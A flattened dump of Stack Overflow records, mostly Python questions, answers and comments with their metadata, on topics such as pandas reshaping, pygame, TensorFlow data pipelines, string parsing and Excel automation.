has body: I researched many times this problem but i could not find clear answer. Please help me how can i compare two unicode strings. I want to get date from this format "17 Ağustos 2017" or "11 Eylül 2017" and I try to convert to this format "17-08-2017" , "11-9-2017" . But when i get the month string it returns "Ağustos" > "A\xc4\x9fustos" ,"Eylül" > "Eyl\xfcl" months = ['Ocak', '\xc5\x9eubat', 'Mart', 'Nisan', 'May\xc4\xb1s', 'Haziran', 'Temmuz', 'A\xc4\x9fustos', 'Eyl\xfcl', 'Ekim', 'Kas\xc4\xb1m', 'Aral\xc4\xb1k' ] month= valuesDetails[indexDate].split(" ") if int(months.index(month[1])+1 &lt; 10): # month month[-2]= "0"+str(months.index(month[1])+1) else: month[-2]= str(months.index(month[1])+1) if int(month[0]) &lt; 10: # day mont[0] = "0"+month[0] item['date'] = month[0]+"-"+month[1]+"-"+month[2]
tagged with: scrapy
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/80995919
has answer: http://stackoverflow.com/a/47003794
upvote count: 1
type: UnansweredQuestion
has title: Python Scrapy unicode comparing string Turkish characters
downvote count: 0
tagged with: python
tagged with: string

http://stackoverflow.com/q/47015320
has comment: http://stackoverflow.com/comment/80978827
has comment: http://stackoverflow.com/comment/80977543
tagged with: python
tagged with: pygame
has body: Im trying to create a simple window that will record a mouse's position on click, but I need to set the background display to an image. So far I have this: import pygame LEFT = 1 pygame.display.init() screen = pygame.display.set_mode((320,200)) pygame.mouse.set_visible(False) image = pygame.image.load("picture.png") screen.blit(image, (100,100)) running = 1 while running: event = pygame.event.poll() if event.type == pygame.QUIT: running = 0 elif event.type == pygame.MOUSEBUTTONDOWN and event.button == LEFT: print("Left mouse was pressed at: %d, %d" %event.pos) pygame.display.flip() The mouse clicks are working correctly, even when trying to load the image, just the window is remaining black.
tagged with: image
score: 0
has comment: http://stackoverflow.com/comment/80977394
has comment: http://stackoverflow.com/comment/80977968
answer count: 0
tagged with: raspberry-pi3
duplicate of: http://stackoverflow.com/q/52718921
upvote count: 1
has comment: http://stackoverflow.com/comment/80976974
downvote count: 1
has comment: http://stackoverflow.com/comment/80978146
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80978375
has title: Background imagine on pygame not displaying
linked to: http://stackoverflow.com/q/52718921
has comment: http://stackoverflow.com/comment/80977134
type: UnansweredQuestion

http://stackoverflow.com/q/46923947
linked to: http://stackoverflow.com/q/38426349
type: UnansweredQuestion
has title: Tensorflow: How to generate a random orthogonal matrix in data preprocessing pipeline using tensorflow.contrib.data module?
tagged with: python
has body: I want to generate a random orthogonal matrix to randomly rotate my 3D point cloud data in the data preprocessing state. (I have found a numpy implementation How to create random orthonormal matrix in python numpy) As is suggested, I'm using TensorFlow's new Dataset API. 1.I have tried directly transferring the Numpy code into Tf code, I met the problem that TensorFlow does not allow slicing assignment (TF even does not allow assign for ordinary tensors). 2.I'm trying def _rotate_point_cloud_ortho(self, single_data): rotation_matrix = tf.Variable(tf.constant(rvs(), shape=[3,3]), name='rotation_matrix', trainable=False) self.initializer = rotation_matrix.initialized_value() rotation_matrix.assign(rvs()) return tf.matmul(single_data, rotation_matrix) And got ValueError: Fetch argument &lt;tf.Tensor 'cond/Merge:0' shape=(3, 3) dtype=float32&gt; cannot be interpreted as a Tensor. (Tensor Tensor("cond/Merge:0", shape=(3, 3), dtype=float32) is not an element of this graph.) 3.I'm thinking of using placeholder for the random orthogonal matrix, but the dataset API uses map, so it's hard to pass a matrix in. I cannot realize where this error come from. Except hard-coding the Numpy implementation into a function generating 9 tf variables, and then stacking these variables into a 3*3 matrix, what else can I try? The code for my current API: class PointCloudDataGenerator(object): def __init__(self, tfrecord_path, mode, batch_size, buffer_size=9824): # create dataset self.initializer = None data = tf.contrib.data.TFRecordDataset(tfrecord_path) # distinguish between train/infer. when calling the parsing functions if mode == 'training': data = data.map(self._parse_function_train, num_threads=4, output_buffer_size=100*batch_size) elif mode == 'inference': data = data.map(self._parse_function_inference, num_threads=4, output_buffer_size=100*batch_size) else: raise ValueError("Invalid mode '%s'." % (mode)) # number of samples in the dataset self.data_size = 9840 if mode == 'training'…
answer count: 0
score: 2
upvote count: 2
downvote count: 0
tagged with: tensorflow
favorite count: 0
type: Question

http://stackoverflow.com/a/46946772
upvote count: 1
answers question: http://stackoverflow.com/q/46946514
score: 1
type: Answer
has body: import re def make_phone_number(): number_flag = True number = raw_input("Please enter a 7-digit number: ") while number_flag: # print number myfilter = re.compile(pattern='^\d{7}$') if myfilter.match(number): number_flag = False else: number = raw_input(" Error! Please try again: ") print "User input: %s" % number print "Fixed number: 408-%s-%s" % (number[0:3], number[3:]) if __name__ == "__main__": make_phone_number()
downvote count: 0

http://stackoverflow.com/a/61602637
type: Answer
downvote count: 0
has body: Using the command: conda install -c anaconda keras worked for me.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47022997

http://stackoverflow.com/q/47040899
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/394809
tagged with: assignment-operator
has comment: http://stackoverflow.com/comment/81029271
has comment: http://stackoverflow.com/comment/81028699
tagged with: python
has comment: http://stackoverflow.com/comment/81029230
has title: Python ternary operator check most left reference
score: 0
has comment: http://stackoverflow.com/comment/81028824
tagged with: conditional-statements
answer count: 0
has comment: http://stackoverflow.com/comment/81028769
tagged with: variable-assignment
has comment: http://stackoverflow.com/comment/81028707
linked to: http://stackoverflow.com/q/394809
has body: What is the pythonic way to write a ternary operator like this in the shortest possible way? (x!=null)? x.something:0; I want to use something like y = x.something or 0 but that will check references in a way such that x.y.z = None whenever x or y are None
type: Question
tagged with: ternary

http://stackoverflow.com/q/46914546
accepted answer: http://stackoverflow.com/a/46914609
has body: A little confused about how to approach this as I'm new to Pandas. I have a data frame that looks something like this: Col1 Col2 Val1 100 Val2 150 Val3 200 And what I'd like to get is this Val1 Val2 Val3 Col2 1 0 0 100 0 1 0 150 0 0 1 200 So if the value existed at that row, it should be a 1 in its new column.
tagged with: dataframe
tagged with: python
possible better answer: http://stackoverflow.com/a/46914651
has answer: http://stackoverflow.com/a/46914700
has answer: http://stackoverflow.com/a/46914651
type: AnsweredQuestion
score: 0
answer count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/46914609
has title: Pandas row values to columns, and then 1 or 0 if that was the value in the row or not
type: Question

http://stackoverflow.com/comment/80930021
score: 0
type: QuestionComment
has text: Welcome to Stackoverflow, please read [How To Ask](https://stackoverflow.com/help/how-to-ask). Pay special attention to [How To Create MCVE](https://stackoverflow.com/help/mcve). The more effort you'll put into posting a good question: one which is easy to read, understand and which is [on topic](https://stackoverflow.com/help/on-topic) - the chances are higher that it will attract the relevant people and you'll get help even faster. Good luck!
type: Comment
comment on: http://stackoverflow.com/q/46991716

http://stackoverflow.com/q/46919690
downvote count: 1
has title: How does Ellipsis interact with index elements other than ints and slice objects?
answer count: 1
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/45493270
has body: The NumPy indexing docs say that Ellipsis expand to the number of : objects needed to make a selection tuple of the same length as x.ndim. However, this seems to hold only when the other indexing arguments are ints and slice objects. For example, None doesn't seem to count towards the selection tuple length for the purposes of Ellipsis: &gt;&gt;&gt; import numpy &gt;&gt;&gt; numpy.zeros([2, 2]).shape (2, 2) &gt;&gt;&gt; numpy.zeros([2, 2])[..., None].shape (2, 2, 1) &gt;&gt;&gt; numpy.zeros([2, 2])[:, None].shape (2, 1, 2) &gt;&gt;&gt; numpy.zeros([2, 2])[:, :, None].shape (2, 2, 1) Similar odd effects can be observed with boolean indexes, which may count as multiple tuple elements or none at all. How does NumPy expand Ellipsis in the general case?
favorite count: 0
type: Question
tagged with: numpy
upvote count: 0
has answer: http://stackoverflow.com/a/46919691
type: UnansweredQuestion

http://stackoverflow.com/comment/80875441
type: QuestionComment
comment on: http://stackoverflow.com/q/46963740
has text: Since it is ordered and you know how many days each month has, maybe count the lines you have read to know in which month you are? First 31 are january etc.
score: 0
type: Comment

http://stackoverflow.com/comment/80948122
type: Comment
type: AnswerComment
has text: @Jul `hist_kws` sends the arguments to the underlying histogram function from matplotlib. You can view all the arguments you can pass by reading the documentation: `import matplotlib.pyplot as plt; ?plt.hist` In this case, you want to specify `histtype` as `'bar'`. Don't forget to accept and upvote this answer it is solved your issue.
score: 1
comment on: http://stackoverflow.com/a/46993832

http://stackoverflow.com/q/47025225
has comment: http://stackoverflow.com/comment/80999253
tagged with: python
has comment: http://stackoverflow.com/comment/80998435
has title: Interpolation of 2d data(velocity(x,y)) over 1D array (time)
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80998946
has comment: http://stackoverflow.com/comment/80998752
answer count: 1
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80998715
has comment: http://stackoverflow.com/comment/80999208
tagged with: scipy
favorite count: 0
type: Question
tagged with: interpolation
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47026105
has body: I have a list of velocities over time. Is there a way to interpolate that data over size of that list (time)? To make it more clear here is a simple code: import numpy as np v_list = [] v_time1 = [[1,1], [2,2]] #2D v_time2 = [[0,1], [3,4]] #2D v_list.append(v_time1,v_time2) time = np.size(v_list) #1D My goal is to interpolate data contained in v_list over time, so I can "call" it depending on desired time. Something like this: v_desired_time = interpolated_velocities(desired_time) #2D Cheers!
has comment: http://stackoverflow.com/comment/80999280
has answer: http://stackoverflow.com/a/47026105

http://stackoverflow.com/comment/80912747
score: 0
comment on: http://stackoverflow.com/q/46982461
type: Comment
has text: Found this article (http://www.informit.com/articles/article.aspx?p=2314818) with some slightly relevant information, but I think that in the vast majority of cases, the above comments are correct in that consistency is the main issue for argument order. I couldn't find a standard specific to the issue. The article mostly covers more fringe cases in addition to optional arguments.
type: QuestionComment

http://stackoverflow.com/q/47037033
has title: Splitting a string into a list of numbers
has answer: http://stackoverflow.com/a/47037103
has comment: http://stackoverflow.com/comment/81020582
linked to: http://stackoverflow.com/q/46984781
type: Question
has body: The following block of code was tested on python 2. A="1 2 10" A=raw_input.split() print A This prints a list with 4 numbers(splitting the 10 into 1 and 0), Why does this happen?
duplicate of: http://stackoverflow.com/q/46984781
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81020505
answer count: 1
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/81020522
tagged with: list
has comment: http://stackoverflow.com/comment/81020605
has comment: http://stackoverflow.com/comment/81020573

http://stackoverflow.com/a/47042982
has comment: http://stackoverflow.com/comment/81033242
answers question: http://stackoverflow.com/q/47042871
score: 0
has body: Are there any NaNs in your dataframe? If so, this issue seems to be related. Hard for me to tell what exactly is wrong without seeing the contents of the dataframe in question, but a possible fix is to remove any NaNs or other unserializable values before making the call to df_to_geojson().
has comment: http://stackoverflow.com/comment/81032966
has comment: http://stackoverflow.com/comment/81072588
type: Answer

http://stackoverflow.com/a/47050944
type: Answer
has comment: http://stackoverflow.com/comment/81049013
accepted answer of: http://stackoverflow.com/q/47050647
has comment: http://stackoverflow.com/comment/81049121
has comment: http://stackoverflow.com/comment/81049368
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47050647
has body: inp_id = request.POST.get('access_key', None) and you don't set access_key in your post request with POSTMAN,this is the right way.

http://stackoverflow.com/comment/81041789
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47047263
has text: Why would you want to?

http://stackoverflow.com/q/46922660
possible better answer: http://stackoverflow.com/a/46922865
tagged with: python
accepted answer: http://stackoverflow.com/a/46922757
answer count: 4
has title: A Pythonic way to reshape Pandas.DataFrame's
has answer: http://stackoverflow.com/a/46922757
type: AnsweredQuestion
tagged with: pandas
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/46922865
favorite count: 0
has answer: http://stackoverflow.com/a/46922922
type: Question
tagged with: python-3.x
score: 3
has body: I have a Pandas.DataFrame on the left. I'd like to reshape it into the form on the right. Numbers of values of each label (a, b and c) are the same. What I'm doing now is creating a new DataFrame and then appending values of each label onto it by adding each column. It definitely works but, as far as I know, Pandas.DataFrame is very powerful and I believe there must be more Pythonic way to do the task. Any helps will be appreciated!
has answer: http://stackoverflow.com/a/46924699

http://stackoverflow.com/q/46924308
answer count: 5
type: UnansweredQuestion
upvote count: 5
has answer: http://stackoverflow.com/a/46924467
tagged with: python
score: 4
has answer: http://stackoverflow.com/a/73615273
has answer: http://stackoverflow.com/a/75047151
has comment: http://stackoverflow.com/comment/80795523
has answer: http://stackoverflow.com/a/46924342
downvote count: 1
has body: I have a dictionary in this format. {'column1': {'id': 'object'}, 'column2': {'mark': 'int64'}, 'column3': {'name': 'object'}, 'column4': {'distance': 'float64'}} I want this to convert in the format: {'id': 'object', 'mark': 'int64', 'name': 'object', 'distance': 'float64'} i.e values of the dictonary in another flattened dictionary. I tried using : L= [] for i in d.values(): L.append(str(i)) dict(L) But its not working.
favorite count: 0
type: Question
has title: Flatten a dictionary values python
has answer: http://stackoverflow.com/a/46924494
linked to: http://stackoverflow.com/q/48700710
linked to: http://stackoverflow.com/q/16228248

http://stackoverflow.com/comment/80893001
has text: I am not sure how Jupyter is exchanging data, you can check it via: * netstats -tapdn |grep jupyter -i Later when you have number of the ports use: * tcpdump -xxxxvvvv -i any 'port ZZZ' # where ZZZ is a port number
comment on: http://stackoverflow.com/a/46942304
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80948185
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47000747
has text: Thank you, can't believe I didn't think of this. I'll accept Ghostly's solution because he was first.

http://stackoverflow.com/a/47006741
has body: If you just want the numerical part, you can do scores = [float(element.strip()[:-1]) for element in elements] which takes the spacing off the sides and the % off the end. If you want the actual number, just do scores = [float(element.strip()[:-1]) / 100.0 for element in elements]. (Thanks to viraptor for the following point): If you want to be more clear about removing the %, you can say element.strip().rstrip("%"), which strips it of all whitespace and then strips all percent signs off the right side.
has comment: http://stackoverflow.com/comment/80960098
type: Answer
has comment: http://stackoverflow.com/comment/80960123
has comment: http://stackoverflow.com/comment/80960103
score: 2
has comment: http://stackoverflow.com/comment/80960158
downvote count: 0
has comment: http://stackoverflow.com/comment/80960127
answers question: http://stackoverflow.com/q/47006718
has comment: http://stackoverflow.com/comment/80960115
upvote count: 2

http://stackoverflow.com/a/46962249
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/46962198
score: 7
downvote count: 0
upvote count: 7
has body: Use argmax() - In [40]: m = arr!=0 In [41]: m.argmax()-1, m.size - m[::-1].argmax() Out[41]: (5, 13) With arr as all zeros or all non-zeros, we need to define the expected output if those are to be dealt too.
answers question: http://stackoverflow.com/q/46962198
has comment: http://stackoverflow.com/comment/80873001

http://stackoverflow.com/a/47036638
has comment: http://stackoverflow.com/comment/81025121
upvote count: 7
score: 7
answers question: http://stackoverflow.com/q/47035760
has body: I'm not sure how to do it with a formatter, but you can replace the built in level name strings with your own. For example: logging.addLevelName(logging.WARNING, 'W') replaces the string associated with the WARNING level with the single character 'W'. Repeating the above for all levels will have the desired effect.
has comment: http://stackoverflow.com/comment/136314340
downvote count: 0
type: Answer

http://stackoverflow.com/a/55304570
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46992718
type: Answer
has body: $ pip3 install indic This command worked for me.
downvote count: 0

http://stackoverflow.com/comment/81230539
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/47103082
has text: that would certainly help, but my actual classes are much bigger and I would like to keep them in separate files if possible.

http://stackoverflow.com/q/46995997
has answer: http://stackoverflow.com/a/46997502
downvote count: 0
tagged with: python
tagged with: pandas-groupby
type: Question
has comment: http://stackoverflow.com/comment/80939174
tagged with: pandas
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46997293
favorite count: 0
has answer: http://stackoverflow.com/a/46997293
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80941137
possible better answer: http://stackoverflow.com/a/46997502
has comment: http://stackoverflow.com/comment/80941152
has title: Grouping Pandas dataframe across rows
has comment: http://stackoverflow.com/comment/80939367
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/46997707
has body: I've a csv like this: client1,client2,client3,client4,client5,client6,amount ,,,Comp1,,,4.475000 ,,,Comp2,,,16.305584 ,,,Comp3,,,4.050000 Comp2,Comp1,,Comp4,,,21.000000 ,,,Comp4,,,30.000000 ,Comp1,,Comp2,,,5.137500 ,,,Comp3,,,52.650000 ,,,Comp1,,,2.650000 Comp3,,,Comp3,,,29.000000 Comp5,,,Comp2,,,20.809000 Comp5,,,Comp2,,,15.100000 Comp5,,,Comp2,,,52.404000 After reading it into a pandas dataframe, df, I wanted to aggregate in two steps: Step1: First, I sum the amount: client1 client2 client3 client4 client5 client6 amount Comp1 7.125000 Comp2 16.305584 Comp3 56.700000 Comp4 30.000000 Comp1 Comp2 5.137500 Comp2 Comp1 Comp4 21.000000 Comp3 Comp3 29.000000 Comp5 Comp2 88.313000 Then, I want to aggregate by each client name such that if multiple clients are involved like in group 5, then 5.1375 must be split equally between Comp1 and Comp2. Tried it this way: df.groupby(['client1','client2','client3','client4','client5','client6']).apply(lambda x: x['amount'].sum()/len(x) if x.any().nunique()&gt;=1 else x['amount'].sum()) client1 client2 client3 client4 client5 client6 0 0 Comp1 3.562500 1 Comp2 16.305584 2 Comp3 28.350000 3 Comp4 30.000000 4 Comp1 Comp2 5.137500 5 Comp2 Comp1 Comp4 21.000000 6 Comp3 Comp3 29.000000 7 Comp5 Comp2 29.437667 Expected Output is: Client Amount Comp1 4.475+21/3+5.1375/2+2.65 = 16.69375 Comp2 16.305584+21/3+20.809/2+15.10/2+52.404/2 = 67.462084 Comp3 4.05+52.65+29 = 85.7 Comp4 21/3+30 = 37 Comp5 20.809/2+15.10/2+52.404/2 = 44.1565 I tried using sum(axis=0) but of no use.
answer count: 2

game-development
type: Tag
tags question: http://stackoverflow.com/q/46996079
tag name: game-development

http://stackoverflow.com/a/46951681
accepted answer of: http://stackoverflow.com/q/46951578
has comment: http://stackoverflow.com/comment/80851581
upvote count: 3
has comment: http://stackoverflow.com/comment/80851676
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80850356
downvote count: 0
answers question: http://stackoverflow.com/q/46951578
has comment: http://stackoverflow.com/comment/80851543
type: Answer
has comment: http://stackoverflow.com/comment/80850424
has body: Create dictionary of DataFrames: dfs = dict(tuple(df.groupby(['TeamA','TeamB']))) print (dfs[(1,2)]) TeamA TeamB Time 0 1 2 12:06 1 1 2 13.14 print (dfs[(1,3)]) TeamA TeamB Time 2 1 3 14.14 3 1 3 13.14 If want all values: for i, x in dfs.items(): print (x) TeamA TeamB Time 0 1 2 12:06 1 1 2 13.14 TeamA TeamB Time 2 1 3 14.14 3 1 3 13.14 TeamA TeamB Time 4 3 1 15.22 If want last row in same group: cols = ['TeamA','TeamB'] a = df[cols].apply(sorted, 1) dfs = dict(tuple(df.groupby([a[cols[0]], a[cols[1]]]))) for i, x in dfs.items(): print (x) TeamA TeamB Time 0 1 2 12:06 1 1 2 13.14 TeamA TeamB Time 2 1 3 14.14 3 1 3 13.14 4 3 1 15.22
score: 3

http://stackoverflow.com/comment/81201774
type: AnswerComment
comment on: http://stackoverflow.com/a/47041653
score: 1
type: Comment
has text: @DavidW I guess I was not clear enough, my solution doesn't try to change the python-integer in-place, but returns a new integer - the is no danger of changing the singleton-integers. This solution does not provide, what OP wanted, but putting a python-integer into `array.array` in order to be able to use the buffer-protocol and to replace it in-place does not sound compelling to me.

http://stackoverflow.com/comment/81055922
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47054373
has text: Well, inheritence doesn't work backwards! If you want `BaseA` to have `some_method`, you have to implement it in `BaseA` and `A` will have it automatically. Why do you want it the other way round.

http://stackoverflow.com/comment/81020351
comment on: http://stackoverflow.com/q/47036156
has text: Do you want `{'key2': 40, 'key1': 3}` and `{'key2': 50, 'key1': 3}` as popped elements in list1 and list2 ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46932772
downvote count: 0
score: 7
upvote count: 7
answers question: http://stackoverflow.com/q/46932606
type: Answer
has body: C++'s std::endl flushes the stream, python's print does not. Try using "\n", that should speed up the C++ code.
has comment: http://stackoverflow.com/comment/80821984
accepted answer of: http://stackoverflow.com/q/46932606
has comment: http://stackoverflow.com/comment/80812798
has comment: http://stackoverflow.com/comment/80812564
type: AcceptedAnswer

http://stackoverflow.com/a/47052311
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/118328248
score: 1
has body: from autoslug import AutoSlugField slug = AutoSlugField(populate_from='title', unique_for_date='publish')
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47051585
answers question: http://stackoverflow.com/q/47051585

http://stackoverflow.com/q/47006461
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47006495
has title: Why am I getting the "AttributeError" error
tagged with: python
type: Question
has body: Good Evening All, I have two classes that I'm working with CardDeckService.py contains a method called GetCard which returns a string value: import random class CardDeckService: ShuffledCardDeck = None SelectedCards = None MasterCardDeck = None def __init__(self): self.ShuffledCardDeck = {} self.SelectedCards = {} self.MasterCardDeck = {} def BuildCardDeck(self): """ BuildCardDeck() - builds a card deck of 52 cards """ cardDeck = {} cardTypes = "Clubs,Spades,Diamonds,Hearts".split(",") cardNumbers= "A,2,3,4,5,6,7,8,9,10,J,Q,K".split(",") try: # Loop through the cardTypes array for cardType in cardTypes: # Loop through the cardNumbers array for cardNumber in cardNumbers: # Create the key key = "{} - {}".format(cardNumber,cardType) value = "" # Determine value if cardNumber == "A": value = "1or10" elif cardNumber == "Q" or cardNumber == "K" or cardNumber == "J": value = "10" else: value = cardNumber # Add to consumer MasterCardDeck dictionary self.MasterCardDeck[key] = value except: print("BuildCardDeck() - Error") def ShuffleCardDeck(self): """ ShuffleCardDeck() - Shuffles the card deck in a random order and returns the shuffle card deck back to the consumer. """ try: self.ShuffledCardDeck = {} # Copy the keys (Cards Display Name) to a local list Cards = list(self.MasterCardDeck.keys()) # Shuffle the keys using random.shuffle rnd = random.shuffle(Cards) # Set the shuffle keys into the new dictionary for Card in Cards: self.ShuffledCardDeck[Card] = self.GetCardValue(Card) except: print("ShuffleCardDeck() - Error") def GetCardValue(self, CardKey): """ GetCardValue(CardKey) - Retrieves a card's numeric value param CardKey: represents tehe the Card face name. """ # Get the master card deck CardValue =self.MasterCardDeck[CardKey] # Return the card value back to the consumer return CardValue def **GetCard**(self): PlayingCard = "A - Clubs" # list(self.ShuffledCardDeck.keys())[0] # Remove the card from the ShuffledCardDeck #del self.ShuffledCardDeck[PlayingCard] # return th…
accepted answer: http://stackoverflow.com/a/47006495
answer count: 1
has comment: http://stackoverflow.com/comment/80959553

http://stackoverflow.com/comment/80997022
comment on: http://stackoverflow.com/q/47024576
score: 1
type: Comment
type: QuestionComment
has text: What do you mean by "effective"? Compared to what?

http://stackoverflow.com/q/46926163
has comment: http://stackoverflow.com/comment/80800152
favorite count: 0
type: Question
tagged with: split
has body: I have a text file that I want to read into a list, in a certain format. When I'm writing: with open('chat_history.txt', encoding='utf8') as f: mylist = [line.rstrip('\n') for line in f] I'm getting: 27/08/15, 15:45 - text continue text continue text 2 27/08/15, 16:10 - new text new text 2 new text 3 27/08/15, 19:55 - more text I'd like to get: 27/08/15, 15:45 - text continue text continue text 2 27/08/15, 16:10 - new text new text 2 new text 3 27/08/15, 19:55 - more text I want to split only when I'm in the format \nDD/MM/YY, HH:MM - Unfortunately I'm not an expert at regular expressions. I tried: with open('chat_history.txt', encoding='utf8') as f: mylist = [line.rstrip('\n'r'[\d\d/\d\d/\d\d - ]') for line in f] Which gave the same result. In second thought, it makes sense why it doesn't work. Would love some help though.
accepted answer: http://stackoverflow.com/a/46927144
has answer: http://stackoverflow.com/a/46926878
tagged with: python
tagged with: regex
score: 4
upvote count: 4
type: AnsweredQuestion
tagged with: strip
has comment: http://stackoverflow.com/comment/80799069
answer count: 3
has comment: http://stackoverflow.com/comment/80799243
has comment: http://stackoverflow.com/comment/80799031
has answer: http://stackoverflow.com/a/46927144
has title: Python read lines from file by regex
has answer: http://stackoverflow.com/a/46928478
downvote count: 0
possible better answer: http://stackoverflow.com/a/46926878
tagged with: file

http://stackoverflow.com/comment/80995771
score: 0
comment on: http://stackoverflow.com/q/47024305
type: Comment
type: QuestionComment
has text: google search before asking

http://stackoverflow.com/q/46947138
has comment: http://stackoverflow.com/comment/80841583
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80841395
tagged with: multiprocess
has comment: http://stackoverflow.com/comment/80841699
score: 0
has title: How to let pool.starmap support infinite sequence multiprocess (for example infinite stream coming)
answer count: 0
has body: I made the very simple example and see whether starmap can concurrently call add_func and iter_func which yield new argument at the same time, But unfortunately, it doesn't work from functools import partial from itertools import repeat from multiprocessing import Pool, freeze_support import time def add_func(a, b): print(a,b) return a + b def iter_func(): i = 0 while True: print("yeild") yield i,i+1 i+=1 time.sleep(1) def main(): with Pool() as pool: L = pool.starmap(add_func, iter_func()) print(L) freeze_support() main()
has comment: http://stackoverflow.com/comment/80841798
type: Question

http://stackoverflow.com/comment/80805306
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/46928675
has text: Concerning your edit: If the values come from a loop, the loop should be part of the minimal working example. How can you even assign variable values within a loop?
type: Comment

http://stackoverflow.com/q/47018637
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47018758
has comment: http://stackoverflow.com/comment/81016548
has title: how to remove \n from a string in python
has comment: http://stackoverflow.com/comment/80984451
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/47018740
linked to: http://stackoverflow.com/q/9347419
has body: Am using the below code to create a dataframe but am getting 'Mr. \n abc \n D. \n abc' for name , i want to get rid of \n, please help Below is my code: names = [] orgs = [] for name in all_table_info.find_all('td', class_="views-field views-field-field-lastname active"): names.append(name.text.strip() if name.text else None) for organization in all_table_info.find_all('td', class_="views-field views-field-field-employer"): orgs.append(organization.text.strip() if organization.text else None) df = pd.DataFrame({'Name' : names, 'Org' : orgs}) print (df) Thanks &amp; Regards, Sanjay
answer count: 2
has comment: http://stackoverflow.com/comment/80994813
has comment: http://stackoverflow.com/comment/81007533
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80984005
has comment: http://stackoverflow.com/comment/80983837

http://stackoverflow.com/q/47047306
has comment: http://stackoverflow.com/comment/81041972
has title: python 3. Ffinding the center of a 2D array
tagged with: python
has comment: http://stackoverflow.com/comment/81041902
tagged with: numpy
tagged with: python-3.x
answer count: 0
type: UnansweredQuestion
has body: I'm sorry to be posting this with no code, but right now i'm having a hard time understanding arrays and 2D arrays. My question is, I'm given a 2D array, and a box. the box must go inside the 2D array in the middle. the array can be any size, and the box can be any size. example: 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 the and the box lets say is 3 meters squared. so it would end up looking like this 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 B B B 7 8 9 1 2 3 B B B 7 8 9 1 2 3 B B B 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 and it would print out something like [4,4]. From what I've searched online, numpy.shape(array) would give me something like (8,8) correct? would I to cut that in half and get (4,4) and go from there, or would i have to find a different way? If the first way is possible, how would i do something like (9,9)? It would give me (4.5,4.5). sorry to be asking probably such rudimentary questions, It just that im having a hell of a time even starting this. we are importing numpy, and are suggested to use numpy.sum()
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/81042084
score: 1
upvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/81191642
comment on: http://stackoverflow.com/a/47063506
type: AnswerComment
score: 1
has text: I couldnt seem to attached the above two comment as txt files so had to put them in as comments. Please let me know if the comments above dont make sense to you.
type: Comment

http://stackoverflow.com/q/46935719
upvote count: 1
has answer: http://stackoverflow.com/a/46936215
favorite count: 0
type: Question
has body: I am running a code where an excel will be saved into another directory and it works. My problem is it changes to a read only file and if I want to make a change to the file, I have to resave it with a new name. Is there a way to make it so edits can be made to the excel file that is being saved into the F drive? Because the rest of my code is dependent on the file in the PATH. So if I change data in excel file, I have to change name of excel file and the rest of my code will just read the data from the original file. PATH='F:\Ten Year Load Forecasts.xlsm' Master_Copy='I:\Ten Year Load Forecasts.xlsm' if os.path.isfile(PATH) and os.access(PATH, os.R_OK): #print ('File exists and is readable') xlApp = win32com.client.DispatchEx('Excel.Application') # Running Excel xlsPath = os.path.expanduser(PATH)# Reading xlsm file wb = xlApp.Workbooks.Open(Filename=xlsPath) # Opening file xlApp.Run('csvfile3')# Running macro---- csvfile3 is the macro name. It is under the "csv" module in the VBA editor #wb.Save() #wb.close() xlApp.Quit() else: #copyfile(Master_Copy, PATH) "Save Master_Copy to Path" "Repeat Function From above with running macro" xlApp = win32com.client.DispatchEx('Excel.Application') # Running Excel xlsPath = os.path.expanduser(Master_Copy)# Reading xlsm file wb = xlApp.Workbooks.Open(Filename=xlsPath) # Opening file xlApp.Run('csvfile4')# Running macro---- csvfile3 is the macro name. It is under the "csv" module in the VBA editor #wb.Save() xlApp.Quit() #wb.close() - This is the csv file 4 VBA code Sub csvfile4() Application.DisplayAlerts = False Application.DisplayAlerts = False ActiveWorkbook.SaveAs Filename:= _ "F:\Ten Year Load Forecasts 2017-2026.xlsm", _ FileFormat:=xlOpenXMLWorkbookMacroEnabled, CreateBackup:=False ThisWorkbook.Worksheets("PSSE_Export_Data").Copy 